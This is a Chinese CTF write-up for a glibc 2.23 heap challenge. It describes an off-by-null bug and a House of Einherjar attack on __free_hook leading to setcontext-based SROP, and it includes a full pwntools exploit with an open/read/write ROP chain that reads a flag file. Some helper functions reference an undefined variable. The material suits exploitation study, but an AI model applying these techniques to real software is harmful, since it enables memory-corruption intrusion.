libc是2.23的。
保护是全开的。
沙箱是有的。
菜单。
set name
80是size
84是标志flag
88申请了0x10的chunk。
前八个字节是puts函数
后八个字节是我们的地址。
edit name
显然是能够输入name。
它用了一个202060来处理输入,但是在处理v5跟j的关系上面会有一个off by null。
puts name
就是输出。
delete name
delete也删除干净了。
所以说白了就是一个2.23的off by null。
然后因为开了沙箱,所以我们就通过off by null,用house of ein攻击free_hook,改成setcontext+53,做一个堆的SROP
exp
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
r = process("./name")
elf = ELF("./name")
libc = ELF("./libc.so.6")
def add(size):
r.sendlineafter("5.exit\n", "1")
r.sendlineafter("name size:", str(size))
def dele(idx):
r.sendlineafter("5.exit\n", "4")
r.sendlineafter("index:", str(inx))
def edit(idx,name):
r.sendlineafter("5.exit\n", "2")
r.sendlineafter("index:", str(idx))
r.sendafter("name:", name)
def show(idx):
r.sendlineafter("5.exit\n", "3")
r.sendlineafter("index:", str(inx))
add(0x100) #0
add(0x100) #1
dele(0)
add(0x30)
show(0)
libc_base = u64(r.recvuntil("\x7f")[-6:] + '\x00\x00') - 0x3c4b78 -0xe0
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
main_arena = libc_base + 0x3c4b78
print "libc_base = " + hex(libc_base)
add(0x10) #2
show(2)
r.recvuntil('\n')
heap_addr = u64(r.recv(6) + '\x00\x00') - 0xad0
print "heap_addr = " + hex(heap_addr)
dele(0)
add(0x48) #0
add(0x100) #3
pay = flat([
0,0x41,
heap_addr+0xc8-0x18,heap_addr+0xc8-0x10,
'a'*0x20,
0x40
])
edit(0,pay)
edit(3,'a'*0xf0+p64(0x100)+p64(0x121))
dele(3)
add(0x10)
add(0xa8-0x20)
add(0xc0)
srop_addr = heap_addr+0xb30
pay = flat([
0,0x21,
setcontext_53,srop_addr
])
edit(0,pay)
p_rdi = libc_base + 0x21112
p_rsi = libc_base + 0x202f8
p_rdx_rsi = libc_base + 0x1151c9
p_rax_rdx_rbx = libc_base + 0x1436b1
open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
write_addr = libc_base+libc.sym['write']
syscall = libc_base + 0xbc3f5
ret = p_rdi+1
rop_base = heap_addr + 0xc60
edit(5,'\x00'*0xa0+p64(rop_base)+p64(ret))
flag_str_addr = heap_addr
flag_addr=rop_base+0xd8
ORW=flat([
p_rdi,flag_addr,
p_rsi,4,
p_rax_rdx_rbx,2,4,0,
syscall,
p_rdi,3,
p_rsi,flag_str_addr,
p_rax_rdx_rbx,0,0x50,0,
syscall,
p_rdi,1,
p_rsi,flag_str_addr,
p_rax_rdx_rbx,1,0x50,0,
syscall,
'./flag\x00'
])
edit(1,ORW)
show(0)
r.interactive()